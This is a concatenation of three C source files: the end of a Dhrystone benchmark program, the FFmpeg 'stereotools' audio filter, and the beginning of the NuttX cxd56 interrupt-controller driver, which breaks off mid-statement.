(Ptr_Glob); for (Ch_Index = 'A'; Ch_Index <= Ch_2_Glob; ++Ch_Index) /* loop body executed twice */ { if (Enum_Loc == Func_1 (Ch_Index, 'C')) /* then, not executed */ { Proc_6 (Ident_1, &Enum_Loc); strcpy (Str_2_Loc, "DHRYSTONE PROGRAM, 3'RD STRING"); Int_2_Loc = Run_Index; Int_Glob = Run_Index; } } /* Int_1_Loc == 3, Int_2_Loc == 3, Int_3_Loc == 7 */ Int_2_Loc = Int_2_Loc * Int_1_Loc; Int_1_Loc = Int_2_Loc / Int_3_Loc; Int_2_Loc = 7 * (Int_2_Loc - Int_3_Loc) - Int_1_Loc; /* Int_1_Loc == 1, Int_2_Loc == 13, Int_3_Loc == 7 */ Proc_2 (&Int_1_Loc); /* Int_1_Loc == 5 */ } /* loop "for Run_Index" */ /**************/ /* Stop timer */ /**************/ END_TIME; // Clear P3[0] #ifdef TIMES times (&time_info); End_Time = (long) time_info.tms_utime; #endif #ifdef TIME End_Time = time ( (long *) 0); #endif #ifdef MSC_CLOCK End_Time = clock(); #endif printf ("Execution ends\n"); printf ("\n"); printf ("Final values of the variables used in the benchmark:\n"); printf ("\n"); printf ("Int_Glob: %d\n", Int_Glob); printf (" should be: %d\n", 5); printf ("Bool_Glob: %d\n", Bool_Glob); printf (" should be: %d\n", 1); printf ("Ch_1_Glob: %c\n", Ch_1_Glob); printf (" should be: %c\n", 'A'); printf ("Ch_2_Glob: %c\n", Ch_2_Glob); printf (" should be: %c\n", 'B'); printf ("Arr_1_Glob[8]: %d\n", Arr_1_Glob[8]); printf (" should be: %d\n", 7); printf ("Arr_2_Glob[8][7]: %d\n", Arr_2_Glob[8][7]); printf (" should be: Number_Of_Runs + 10\n"); printf ("Ptr_Glob->\n"); printf (" Ptr_Comp: %d\n", (int) Ptr_Glob->Ptr_Comp); printf (" should be: (implementation-dependent)\n"); printf (" Discr: %d\n", Ptr_Glob->Discr); printf (" should be: %d\n", 0); printf (" Enum_Comp: %d\n", Ptr_Glob->variant.var_1.Enum_Comp); printf (" should be: %d\n", 2); printf (" Int_Comp: %d\n", Ptr_Glob->variant.var_1.Int_Comp); printf (" should be: %d\n", 17); printf (" Str_Comp: %s\n", Ptr_Glob->variant.var_1.Str_Comp); printf (" should be: DHRYSTONE PROGRAM, SOME STRING\n"); printf ("Next_Ptr_Glob->\n"); printf (" Ptr_Comp: %d\n", (int) Next_Ptr_Glob->Ptr_Comp); printf (" should be: (implementation-dependent), same as above\n"); printf (" Discr: %d\n", Next_Ptr_Glob->Discr); printf (" should be: %d\n", 0); printf (" Enum_Comp: %d\n", Next_Ptr_Glob->variant.var_1.Enum_Comp); printf (" should be: %d\n", 1); printf (" Int_Comp: %d\n", Next_Ptr_Glob->variant.var_1.Int_Comp); printf (" should be: %d\n", 18); printf (" Str_Comp: %s\n", Next_Ptr_Glob->variant.var_1.Str_Comp); printf (" should be: DHRYSTONE PROGRAM, SOME STRING\n"); printf ("Int_1_Loc: %d\n", Int_1_Loc); printf (" should be: %d\n", 5); printf ("Int_2_Loc: %d\n", Int_2_Loc); printf (" should be: %d\n", 13); printf ("Int_3_Loc: %d\n", Int_3_Loc); printf (" should be: %d\n", 7); printf ("Enum_Loc: %d\n", Enum_Loc); printf (" should be: %d\n", 1); printf ("Str_1_Loc: %s\n", Str_1_Loc); printf (" should be: DHRYSTONE PROGRAM, 1'ST STRING\n"); printf ("Str_2_Loc: %s\n", Str_2_Loc); printf (" should be: DHRYSTONE PROGRAM, 2'ND STRING\n"); printf ("\n"); /* Comment out this section because we did not measure time with the MCU; also the simple printf function does not support floats */ /* User_Time = End_Time - Begin_Time; if (User_Time < Too_Small_Time) { printf ("Measured time too small to obtain meaningful results\n"); printf ("Please increase number of runs\n"); printf ("\n"); } else { #ifdef TIME Microseconds = (float) User_Time * Mic_secs_Per_Second / (float) Number_Of_Runs; Dhrystones_Per_Second = (float) Number_Of_Runs / (float) User_Time; #else Microseconds = (float) User_Time * Mic_secs_Per_Second / ((float) HZ * ((float) Number_Of_Runs)); Dhrystones_Per_Second = ((float) HZ * (float) Number_Of_Runs) / (float) User_Time; #endif printf ("Microseconds for one run through Dhrystone: "); printf ("%6.1f \n", Microseconds); printf ("Dhrystones per Second: "); printf ("%6.1f \n", Dhrystones_Per_Second); printf ("\n"); } */ DHRYSTONE_DONE; } Proc_1 (Ptr_Val_Par) /******************/ REG Rec_Pointer Ptr_Val_Par; /* executed once */ { REG Rec_Pointer Next_Record = Ptr_Val_Par->Ptr_Comp; /* == Ptr_Glob_Next */ /* Local variable, initialized with Ptr_Val_Par->Ptr_Comp, */ /* corresponds to "rename" in Ada, "with" in Pascal */ structassign (*Ptr_Val_Par->Ptr_Comp, *Ptr_Glob); Ptr_Val_Par->variant.var_1.Int_Comp = 5; Next_Record->variant.var_1.Int_Comp = Ptr_Val_Par->variant.var_1.Int_Comp; Next_Record->Ptr_Comp = Ptr_Val_Par->Ptr_Comp; Proc_3 (&Next_Record->Ptr_Comp); /* Ptr_Val_Par->Ptr_Comp->Ptr_Comp == Ptr_Glob->Ptr_Comp */ if (Next_Record->Discr == Ident_1) /* then, executed */ { Next_Record->variant.var_1.Int_Comp = 6; Proc_6 (Ptr_Val_Par->variant.var_1.Enum_Comp, &Next_Record->variant.var_1.Enum_Comp); Next_Record->Ptr_Comp = Ptr_Glob->Ptr_Comp; Proc_7 (Next_Record->variant.var_1.Int_Comp, 10, &Next_Record->variant.var_1.Int_Comp); } else /* not executed */ structassign (*Ptr_Val_Par, *Ptr_Val_Par->Ptr_Comp); } /* Proc_1 */ Proc_2 (Int_Par_Ref) /******************/ /* executed once */ /* *Int_Par_Ref == 1, becomes 4 */ One_Fifty *Int_Par_Ref; { One_Fifty Int_Loc; Enumeration Enum_Loc; Int_Loc = *Int_Par_Ref + 10; do /* executed once */ if (Ch_1_Glob == 'A') /* then, executed */ { Int_Loc -= 1; *Int_Par_Ref = Int_Loc - Int_Glob; Enum_Loc = Ident_1; } /* if */ while (Enum_Loc != Ident_1); /* true */ } /* Proc_2 */ Proc_3 (Ptr_Ref_Par) /******************/ /* executed once */ /* Ptr_Ref_Par becomes Ptr_Glob */ Rec_Pointer *Ptr_Ref_Par; { if (Ptr_Glob != Null) /* then, executed */ *Ptr_Ref_Par = Ptr_Glob->Ptr_Comp; Proc_7 (10, Int_Glob, &Ptr_Glob->variant.var_1.Int_Comp); } /* Proc_3 */ Proc_4 () /* without parameters */ /*******/ /* executed once */ { Boolean Bool_Loc; Bool_Loc = Ch_1_Glob == 'A'; Bool_Glob = Bool_Loc | Bool_Glob; Ch_2_Glob = 'B'; } /* Proc_4 */ Proc_5 () /* without parameters */ /*******/ /* executed once */ { Ch_1_Glob = 'A'; Bool_Glob = false; } /* Proc_5 */ /* Procedure for the assignment of structures, */ /* if the C compiler doesn't support this feature */ #ifdef NOSTRUCTASSIGN memcpy (d, s, l) register char *d; register char *s; register int l; { while (l--) *d++ = *s++; } #endif
477422.c
/* * Copyright (C) 2001-2010 Krzysztof Foltman, Markus Schmidt, Thor Harald Johansen * * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with FFmpeg; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include "libavutil/channel_layout.h" #include "libavutil/opt.h" #include "avfilter.h" #include "audio.h" #include "formats.h" typedef struct StereoToolsContext { const AVClass *class; int softclip; int mute_l; int mute_r; int phase_l; int phase_r; int mode; int bmode_in; int bmode_out; double slev; double sbal; double mlev; double mpan; double phase; double base; double delay; double balance_in; double balance_out; double phase_sin_coef; double phase_cos_coef; double sc_level; double inv_atan_shape; double level_in; double level_out; double *buffer; int length; int pos; } StereoToolsContext; #define OFFSET(x) offsetof(StereoToolsContext, x) #define A AV_OPT_FLAG_AUDIO_PARAM|AV_OPT_FLAG_FILTERING_PARAM|AV_OPT_FLAG_RUNTIME_PARAM static const AVOption stereotools_options[] = { { "level_in", "set level in", OFFSET(level_in), AV_OPT_TYPE_DOUBLE, {.dbl=1}, 0.015625, 64, A }, { "level_out", "set level out", OFFSET(level_out), AV_OPT_TYPE_DOUBLE, {.dbl=1}, 0.015625, 64, A }, { "balance_in", "set balance in", OFFSET(balance_in), AV_OPT_TYPE_DOUBLE, {.dbl=0}, -1, 1, A }, { "balance_out", "set balance out", OFFSET(balance_out), AV_OPT_TYPE_DOUBLE, {.dbl=0}, -1, 1, A }, { "softclip", "enable softclip", OFFSET(softclip), AV_OPT_TYPE_BOOL, {.i64=0}, 0, 1, A }, { "mutel", "mute L", OFFSET(mute_l), AV_OPT_TYPE_BOOL, {.i64=0}, 0, 1, A }, { "muter", "mute R", OFFSET(mute_r), AV_OPT_TYPE_BOOL, {.i64=0}, 0, 1, A }, { "phasel", "phase L", OFFSET(phase_l), AV_OPT_TYPE_BOOL, {.i64=0}, 0, 1, A }, { "phaser", "phase R", OFFSET(phase_r), AV_OPT_TYPE_BOOL, {.i64=0}, 0, 1, A }, { "mode", "set stereo mode", OFFSET(mode), AV_OPT_TYPE_INT, {.i64=0}, 0, 10, A, "mode" }, { "lr>lr", 0, 0, AV_OPT_TYPE_CONST, {.i64=0}, 0, 0, A, "mode" }, { "lr>ms", 0, 0, AV_OPT_TYPE_CONST, {.i64=1}, 0, 0, A, "mode" }, { "ms>lr", 0, 0, AV_OPT_TYPE_CONST, {.i64=2}, 0, 0, A, "mode" }, { "lr>ll", 0, 0, AV_OPT_TYPE_CONST, {.i64=3}, 0, 0, A, "mode" }, { "lr>rr", 0, 0, AV_OPT_TYPE_CONST, {.i64=4}, 0, 0, A, "mode" }, { "lr>l+r", 0, 0, AV_OPT_TYPE_CONST, {.i64=5}, 0, 0, A, "mode" }, { "lr>rl", 0, 0, AV_OPT_TYPE_CONST, {.i64=6}, 0, 0, A, "mode" }, { "ms>ll", 0, 0, AV_OPT_TYPE_CONST, {.i64=7}, 0, 0, A, "mode" }, { "ms>rr", 0, 0, AV_OPT_TYPE_CONST, {.i64=8}, 0, 0, A, "mode" }, { "ms>rl", 0, 0, AV_OPT_TYPE_CONST, {.i64=9}, 0, 0, A, "mode" }, { "lr>l-r", 0, 0, AV_OPT_TYPE_CONST, {.i64=10}, 0, 0, A, "mode" }, { "slev", "set side level", OFFSET(slev), AV_OPT_TYPE_DOUBLE, {.dbl=1}, 0.015625, 64, A }, { "sbal", "set side balance", OFFSET(sbal), AV_OPT_TYPE_DOUBLE, {.dbl=0}, -1, 1, A }, { "mlev", "set middle level", OFFSET(mlev), AV_OPT_TYPE_DOUBLE, {.dbl=1}, 0.015625, 64, A }, { "mpan", "set middle pan", OFFSET(mpan), AV_OPT_TYPE_DOUBLE, {.dbl=0}, -1, 1, A }, { "base", "set stereo base", OFFSET(base), AV_OPT_TYPE_DOUBLE, {.dbl=0}, -1, 1, A }, { "delay", "set delay", OFFSET(delay), AV_OPT_TYPE_DOUBLE, {.dbl=0}, -20, 20, A }, { "sclevel", "set S/C level", OFFSET(sc_level), AV_OPT_TYPE_DOUBLE, {.dbl=1}, 1, 100, A }, { "phase", "set stereo phase", OFFSET(phase), AV_OPT_TYPE_DOUBLE, {.dbl=0}, 0, 360, A }, { "bmode_in", "set balance in mode", OFFSET(bmode_in), AV_OPT_TYPE_INT, {.i64=0}, 0, 2, A, "bmode" }, { "balance", 0, 0, AV_OPT_TYPE_CONST, {.i64=0}, 0, 0, A, "bmode" }, { "amplitude", 0, 0, AV_OPT_TYPE_CONST, {.i64=1}, 0, 0, A, "bmode" }, { "power", 0, 0, AV_OPT_TYPE_CONST, {.i64=2}, 0, 0, A, "bmode" }, { "bmode_out", "set balance out mode", OFFSET(bmode_out), AV_OPT_TYPE_INT, {.i64=0}, 0, 2, A, "bmode" }, { NULL } }; AVFILTER_DEFINE_CLASS(stereotools); static int query_formats(AVFilterContext *ctx) { AVFilterFormats *formats = NULL; AVFilterChannelLayouts *layout = NULL; int ret; if ((ret = ff_add_format (&formats, AV_SAMPLE_FMT_DBL )) < 0 || (ret = ff_set_common_formats (ctx , formats )) < 0 || (ret = ff_add_channel_layout (&layout , AV_CH_LAYOUT_STEREO)) < 0 || (ret = ff_set_common_channel_layouts (ctx , layout )) < 0) return ret; formats = ff_all_samplerates(); return ff_set_common_samplerates(ctx, formats); } static int config_input(AVFilterLink *inlink) { AVFilterContext *ctx = inlink->dst; StereoToolsContext *s = ctx->priv; s->length = FFALIGN(inlink->sample_rate / 10, 2); if (!s->buffer) s->buffer = av_calloc(s->length, sizeof(*s->buffer)); if (!s->buffer) return AVERROR(ENOMEM); s->inv_atan_shape = 1.0 / atan(s->sc_level); s->phase_cos_coef = cos(s->phase / 180 * M_PI); s->phase_sin_coef = sin(s->phase / 180 * M_PI); return 0; } static int filter_frame(AVFilterLink *inlink, AVFrame *in) { AVFilterContext *ctx = inlink->dst; AVFilterLink *outlink = ctx->outputs[0]; StereoToolsContext *s = ctx->priv; const double *src = (const double *)in->data[0]; const double sb = s->base < 0 ? s->base * 0.5 : s->base; const double sbal = 1 + s->sbal; const double mpan = 1 + s->mpan; const double slev = s->slev; const double mlev = s->mlev; const double balance_in = s->balance_in; const double balance_out = s->balance_out; const double level_in = s->level_in; const double level_out = s->level_out; const double sc_level = s->sc_level; const double delay = s->delay; const int length = s->length; const int mute_l = s->mute_l; const int mute_r = s->mute_r; const int phase_l = s->phase_l; const int phase_r = s->phase_r; double *buffer = s->buffer; AVFrame *out; double *dst; int nbuf = inlink->sample_rate * (fabs(delay) / 1000.); int n; nbuf -= nbuf % 2; if (av_frame_is_writable(in)) { out = in; } else { out = ff_get_audio_buffer(outlink, in->nb_samples); if (!out) { av_frame_free(&in); return AVERROR(ENOMEM); } av_frame_copy_props(out, in); } dst = (double *)out->data[0]; for (n = 0; n < in->nb_samples; n++, src += 2, dst += 2) { double L = src[0], R = src[1], l, r, m, S, gl, gr, gd; L *= level_in; R *= level_in; gl = 1. - FFMAX(0., balance_in); gr = 1. + FFMIN(0., balance_in); switch (s->bmode_in) { case 1: gd = gl - gr; gl = 1. + gd; gr = 1. - gd; break; case 2: if (balance_in < 0.) { gr = FFMAX(0.5, gr); gl = 1. / gr; } else if (balance_in > 0.) { gl = FFMAX(0.5, gl); gr = 1. / gl; } break; } L *= gl; R *= gr; if (s->softclip) { R = s->inv_atan_shape * atan(R * sc_level); L = s->inv_atan_shape * atan(L * sc_level); } switch (s->mode) { case 0: m = (L + R) * 0.5; S = (L - R) * 0.5; l = m * mlev * FFMIN(1., 2. - mpan) + S * slev * FFMIN(1., 2. - sbal); r = m * mlev * FFMIN(1., mpan) - S * slev * FFMIN(1., sbal); L = l; R = r; break; case 1: l = L * FFMIN(1., 2. - sbal); r = R * FFMIN(1., sbal); L = 0.5 * (l + r) * mlev; R = 0.5 * (l - r) * slev; break; case 2: l = L * mlev * FFMIN(1., 2. - mpan) + R * slev * FFMIN(1., 2. - sbal); r = L * mlev * FFMIN(1., mpan) - R * slev * FFMIN(1., sbal); L = l; R = r; break; case 3: R = L; break; case 4: L = R; break; case 5: L = (L + R) * 0.5; R = L; break; case 6: l = L; L = R; R = l; m = (L + R) * 0.5; S = (L - R) * 0.5; l = m * mlev * FFMIN(1., 2. - mpan) + S * slev * FFMIN(1., 2. - sbal); r = m * mlev * FFMIN(1., mpan) - S * slev * FFMIN(1., sbal); L = l; R = r; break; case 7: l = L * mlev * FFMIN(1., 2. - mpan) + R * slev * FFMIN(1., 2. - sbal); L = l; R = l; break; case 8: r = L * mlev * FFMIN(1., mpan) - R * slev * FFMIN(1., sbal); L = r; R = r; break; case 9: l = L * mlev * FFMIN(1., 2. - mpan) + R * slev * FFMIN(1., 2. - sbal); r = L * mlev * FFMIN(1., mpan) - R * slev * FFMIN(1., sbal); L = r; R = l; break; case 10: L = (L - R) * 0.5; R = L; break; } L *= 1. - mute_l; R *= 1. - mute_r; L *= (2. * (1. - phase_l)) - 1.; R *= (2. * (1. - phase_r)) - 1.; buffer[s->pos ] = L; buffer[s->pos+1] = R; if (delay > 0.) { R = buffer[(s->pos - (int)nbuf + 1 + length) % length]; } else if (delay < 0.) { L = buffer[(s->pos - (int)nbuf + length) % length]; } l = L + sb * L - sb * R; r = R + sb * R - sb * L; L = l; R = r; l = L * s->phase_cos_coef - R * s->phase_sin_coef; r = L * s->phase_sin_coef + R * s->phase_cos_coef; L = l; R = r; s->pos = (s->pos + 2) % s->length; gl = 1. - FFMAX(0., balance_out); gr = 1. + FFMIN(0., balance_out); switch (s->bmode_out) { case 1: gd = gl - gr; gl = 1. + gd; gr = 1. - gd; break; case 2: if (balance_out < 0.) { gr = FFMAX(0.5, gr); gl = 1. / gr; } else if (balance_out > 0.) { gl = FFMAX(0.5, gl); gr = 1. / gl; } break; } L *= gl; R *= gr; L *= level_out; R *= level_out; if (ctx->is_disabled) { dst[0] = src[0]; dst[1] = src[1]; } else { dst[0] = L; dst[1] = R; } } if (out != in) av_frame_free(&in); return ff_filter_frame(outlink, out); } static int process_command(AVFilterContext *ctx, const char *cmd, const char *args, char *res, int res_len, int flags) { int ret; ret = ff_filter_process_command(ctx, cmd, args, res, res_len, flags); if (ret < 0) return ret; return config_input(ctx->inputs[0]); } static av_cold void uninit(AVFilterContext *ctx) { StereoToolsContext *s = ctx->priv; av_freep(&s->buffer); } static const AVFilterPad inputs[] = { { .name = "default", .type = AVMEDIA_TYPE_AUDIO, .filter_frame = filter_frame, .config_props = config_input, }, { NULL } }; static const AVFilterPad outputs[] = { { .name = "default", .type = AVMEDIA_TYPE_AUDIO, }, { NULL } }; AVFilter ff_af_stereotools = { .name = "stereotools", .description = NULL_IF_CONFIG_SMALL("Apply various stereo tools."), .query_formats = query_formats, .priv_size = sizeof(StereoToolsContext), .priv_class = &stereotools_class, .uninit = uninit, .inputs = inputs, .outputs = outputs, .process_command = process_command, .flags = AVFILTER_FLAG_SUPPORT_TIMELINE_INTERNAL, };
378329.c
/**************************************************************************** * arch/arm/src/cxd56xx/cxd56_irq.c * * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. The * ASF licenses this file to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance with the * License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. * ****************************************************************************/ /**************************************************************************** * Included Files ****************************************************************************/ #include <nuttx/config.h> #include <stdint.h> #include <assert.h> #include <debug.h> #include <nuttx/board.h> #include <nuttx/irq.h> #include <nuttx/arch.h> #include <nuttx/spinlock.h> #include <arch/board/board.h> #include "chip.h" #include "nvic.h" #include "ram_vectors.h" #include "arm_arch.h" #include "arm_internal.h" #ifdef CONFIG_SMP # include "init/init.h" #endif /**************************************************************************** * Pre-processor Definitions ****************************************************************************/ /* Get a 32-bit version of the default priority */ #define DEFPRIORITY32 \ (CXD56M4_SYSH_PRIORITY_DEFAULT << 24 | CXD56M4_SYSH_PRIORITY_DEFAULT << 16 | \ CXD56M4_SYSH_PRIORITY_DEFAULT << 8 | CXD56M4_SYSH_PRIORITY_DEFAULT) #define INTC_EN(n) (CXD56_INTC_BASE + 0x10 + (((n) >> 5) << 2)) #if defined(CONFIG_SMP) && CONFIG_ARCH_INTERRUPTSTACK > 7 # define INTSTACK_ALLOC (CONFIG_SMP_NCPUS * INTSTACK_SIZE) #endif /**************************************************************************** * Public Data ****************************************************************************/ /* g_current_regs[] holds a references to the current interrupt level * register storage structure. If is non-NULL only during interrupt * processing. Access to g_current_regs[] must be through the macro * CURRENT_REGS for portability. */ /* For the case of configurations with multiple CPUs, then there must be one * such value for each processor that can receive an interrupt. */ volatile uint32_t *g_current_regs[CONFIG_SMP_NCPUS]; #ifdef CONFIG_SMP static volatile int8_t g_cpu_for_irq[CXD56_IRQ_NIRQS]; extern void up_send_irqreq(int idx, int irq, int cpu); #endif #if defined(CONFIG_SMP) && CONFIG_ARCH_INTERRUPTSTACK > 7 /* In the SMP configuration, we will need custom interrupt stacks. * These definitions provide the aligned stack allocations. */ static uint64_t g_intstack_alloc[INTSTACK_ALLOC >> 3]; /* These definitions provide the "top" of the push-down stacks. */ const uint32_t g_cpu_intstack_top[CONFIG_SMP_NCPUS] = { (uint32_t)g_intstack_alloc + INTSTACK_SIZE, #if CONFIG_SMP_NCPUS > 1 (uint32_t)g_intstack_alloc + (2 * INTSTACK_SIZE), #if CONFIG_SMP_NCPUS > 2 (uint32_t)g_intstack_alloc + (3 * INTSTACK_SIZE), #if CONFIG_SMP_NCPUS > 3 (uint32_t)g_intstack_alloc + (4 * INTSTACK_SIZE), #if CONFIG_SMP_NCPUS > 4 (uint32_t)g_intstack_alloc + (5 * INTSTACK_SIZE), #if CONFIG_SMP_NCPUS > 5 (uint32_t)g_intstack_alloc + (6 * INTSTACK_SIZE), #endif /* CONFIG_SMP_NCPUS > 5 */ #endif /* CONFIG_SMP_NCPUS > 4 */ #endif /* CONFIG_SMP_NCPUS > 3 */ #endif /* CONFIG_SMP_NCPUS > 2 */ #endif /* CONFIG_SMP_NCPUS > 1 */ }; #endif /* defined(CONFIG_SMP) && CONFIG_ARCH_INTERRUPTSTACK > 7 */ /* This is the address of the exception vector table (determined by the * linker script). */ extern uint32_t _vectors[]; /**************************************************************************** * Private Data ****************************************************************************/ /**************************************************************************** * Private Functions ****************************************************************************/ /**************************************************************************** * Name: cxd56_dumpnvic * * Description: * Dump some interesting NVIC registers * ****************************************************************************/ #if defined(CONFIG_DEBUG_IRQ_INFO) static void cxd56_dumpnvic(const char *msg, int irq) { irqstate_t flags; flags = enter_critical_section(); irqinfo("NVIC (%s, irq=%d):\n", msg, irq); irqinfo(" INTCTRL: %08x VECTAB: %08x\n", getreg32(NVIC_INTCTRL), getreg32(NVIC_VECTAB)); irqinfo(" IRQ ENABLE: %08x %08x\n", getreg32(NVIC_IRQ0_31_ENABLE), getreg32(NVIC_IRQ32_63_ENABLE)); irqinfo(" SYSH_PRIO: %08x %08x %08x\n", getreg32(NVIC_SYSH4_7_PRIORITY), getreg32(NVIC_SYSH8_11_PRIORITY), getreg32(NVIC_SYSH12_15_PRIORITY)); irqinfo(" IRQ PRIO: %08x %08x %08x %08x\n", getreg32(NVIC_IRQ0_3_PRIORITY), getreg32(NVIC_IRQ4_7_PRIORITY), getreg32(NVIC_IRQ8_11_PRIORITY), getreg32(NVIC_IRQ12_15_PRIORITY)); irqinfo(" %08x %08x %08x %08x\n", getreg32(NVIC_IRQ16_19_PRIORITY), getreg32(NVIC_IRQ20_23_PRIORITY), getreg32(NVIC_IRQ24_27_PRIORITY), getreg32(NVIC_IRQ28_31_PRIORITY)); irqinfo(" %08x %08x %08x %08x\n", getreg32(NVIC_IRQ32_35_PRIORITY), getreg32(NVIC_IRQ36_39_PRIORITY), getreg32(NVIC_IRQ40_43_PRIORITY), getreg32(NVIC_IRQ44_47_PRIORITY)); irqinfo(" %08x %08x %08x\n", getreg32(NVIC_IRQ48_51_PRIORITY), getreg32(NVIC_IRQ52_55_PRIORITY), getreg32(NVIC_IRQ56_59_PRIORITY)); leave_critical_section(flags); } #else # define cxd56_dumpnvic(msg, irq) #endif /**************************************************************************** * Name: cxd56_nmi, cxd56_busfault, cxd56_usagefault, cxd56_pendsv, * cxd56_dbgmonitor, cxd56_pendsv, cxd56_reserved * * Description: * Handlers for various exceptions. None are handled and all are fatal * error conditions. The only advantage these provided over the default * unexpected interrupt handler is that they provide a diagnostic output. * ****************************************************************************/ #ifdef CONFIG_DEBUG_FEATURES static int cxd56_nmi(int irq, FAR void *context, FAR void *arg) { up_irq_save(); _err("PANIC!!! NMI received\n"); PANIC(); return 0; } static int cxd56_busfault(int irq, FAR void *context, FAR void *arg) { up_irq_save(); _err("PANIC!!! Bus fault received\n"); PANIC(); return 0; } static int cxd56_usagefault(int irq, FAR void *context, FAR void *arg) { up_irq_save(); _err("PANIC!!! Usage fault received\n"); PANIC(); return 0; } static int cxd56_pendsv(int irq, FAR void *context, FAR void *arg) { up_irq_save(); _err("PANIC!!! PendSV received\n"); PANIC(); return 0; } static int cxd56_dbgmonitor(int irq, FAR void *context, FAR void *arg) { up_irq_save(); _err("PANIC!!! Debug Monitor received\n"); PANIC(); return 0; } static int cxd56_reserved(int irq, FAR void *context, FAR void *arg) { up_irq_save(); _err("PANIC!!! Reserved interrupt\n"); PANIC(); return 0; } #endif /**************************************************************************** * Name: cxd56_prioritize_syscall * * Description: * Set the priority of an exception. This function may be needed * internally even if support for prioritized interrupts is not enabled. * ****************************************************************************/ #ifdef CONFIG_ARMV7M_USEBASEPRI static inline void cxd56_prioritize_syscall(int priority) { uint32_t regval; /* SVCALL is system handler 11 */ regval = getreg32(NVIC_SYSH8_11_PRIORITY); regval &= ~NVIC_SYSH_PRIORITY_PR11_MASK; regval |= (priority << NVIC_SYSH_PRIORITY_PR11_SHIFT); putreg32(regval, NVIC_SYSH8_11_PRIORITY); } #endif static int excinfo(int irq, uintptr_t *regaddr, uint32_t *bit) { *regaddr = NVIC_SYSHCON; switch (irq) { case CXD56_IRQ_MEMFAULT: *bit = NVIC_SYSHCON_MEMFAULTENA; break; case CXD56_IRQ_BUSFAULT: *bit = NVIC_SYSHCON_BUSFAULTENA; break; case CXD56_IRQ_USAGEFAULT: *bit = NVIC_SYSHCON_USGFAULTENA; break; case CXD56_IRQ_SYSTICK: *regaddr = NVIC_SYSTICK_CTRL; *bit = NVIC_SYSTICK_CTRL_ENABLE; break; default: return ERROR; /* Invalid or unsupported exception */ } return OK; } /**************************************************************************** * Public Functions ****************************************************************************/ /**************************************************************************** * Name: up_irqinitialize * * Description: * Complete initialization of the interrupt system and enable normal, * interrupt processing. * ****************************************************************************/ void up_irqinitialize(void) { uint32_t regaddr; int num_priority_registers; #ifdef CONFIG_SMP int i; for (i = 0; i < CXD56_IRQ_NIRQS; i++) { g_cpu_for_irq[i] = -1; } #endif /* Disable all interrupts */ putreg32(0, NVIC_IRQ0_31_ENABLE); putreg32(0, NVIC_IRQ32_63_ENABLE); putreg32(0, NVIC_IRQ64_95_ENABLE); putreg32(0, NVIC_IRQ96_127_ENABLE); /* Make sure that we are using the correct vector table. The default * vector address is 0x0000:0000 but if we are executing code that is * positioned in SRAM or in external FLASH, then we may need to reset * the interrupt vector so that it refers to the table in SRAM or in * external FLASH. */ putreg32((uint32_t)_vectors, NVIC_VECTAB); #ifdef CONFIG_ARCH_RAMVECTORS /* If CONFIG_ARCH_RAMVECTORS is defined, then we are using a RAM-based * vector table that requires special initialization. */ arm_ramvec_initialize(); #endif /* Set all interrupts (and exceptions) to the default priority */ putreg32(DEFPRIORITY32, NVIC_SYSH4_7_PRIORITY); putreg32(DEFPRIORITY32, NVIC_SYSH8_11_PRIORITY); putreg32(DEFPRIORITY32, NVIC_SYSH12_15_PRIORITY); /* The NVIC ICTR register (bits 0-4) holds the number of interrupt * lines that the NVIC supports: * * 0 -> 32 interrupt lines, 8 priority registers * 1 -> 64 " " " ", 16 priority registers * 2 -> 96 " " " ", 32 priority registers * ... */ num_priority_registers = (getreg32(NVIC_ICTR) + 1) * 8; /* Now set all of the interrupt lines to the default priority */ regaddr = NVIC_IRQ0_3_PRIORITY; while (num_priority_registers--) { putreg32(DEFPRIORITY32, regaddr); regaddr += 4; } /* currents_regs is non-NULL only while processing an interrupt */ CURRENT_REGS = NULL; /* Attach the SVCall and Hard Fault exception handlers. The SVCall * exception is used for performing context switches; The Hard Fault * must also be caught because a SVCall may show up as a Hard Fault * under certain conditions. */ irq_attach(CXD56_IRQ_SVCALL, arm_svcall, NULL); irq_attach(CXD56_IRQ_HARDFAULT, arm_hardfault, NULL); /* Set the priority of the SVCall interrupt */ #ifdef CONFIG_ARCH_IRQPRIO /* up_prioritize_irq(CXD56_IRQ_PENDSV, NVIC_SYSH_PRIORITY_MIN); */ #endif #ifdef CONFIG_ARMV7M_USEBASEPRI cxd56_prioritize_syscall(NVIC_SYSH_SVCALL_PRIORITY); #endif /* If the MPU is enabled, then attach and enable the Memory Management * Fault handler. */ #ifdef CONFIG_ARM_MPU irq_attach(CXD56_IRQ_MEMFAULT, arm_memfault, NULL); up_enable_irq(CXD56_IRQ_MEMFAULT); #endif /* Attach all other processor exceptions (except reset and sys tick) */ #ifdef CONFIG_DEBUG_FEATURES irq_attach(CXD56_IRQ_NMI, cxd56_nmi, NULL); # ifndef CONFIG_ARM_MPU irq_attach(CXD56_IRQ_MEMFAULT, arm_memfault, NULL); # endif irq_attach(CXD56_IRQ_BUSFAULT, cxd56_busfault, NULL); irq_attach(CXD56_IRQ_USAGEFAULT, cxd56_usagefault, NULL); irq_attach(CXD56_IRQ_PENDSV, cxd56_pendsv, NULL); irq_attach(CXD56_IRQ_DBGMONITOR, cxd56_dbgmonitor, NULL); irq_attach(CXD56_IRQ_RESERVED, cxd56_reserved, NULL); #endif cxd56_dumpnvic("initial", CXD56_IRQ_NIRQS); /* If a debugger is connected, try to prevent it from catching hardfaults. * If CONFIG_ARMV7M_USEBASEPRI, no hardfaults are expected in normal * operation. */ #if defined(CONFIG_DEBUG_FEATURES) && !defined(CONFIG_ARMV7M_USEBASEPRI) { uint32_t regval; regval = getreg32(NVIC_DEMCR); regval &= 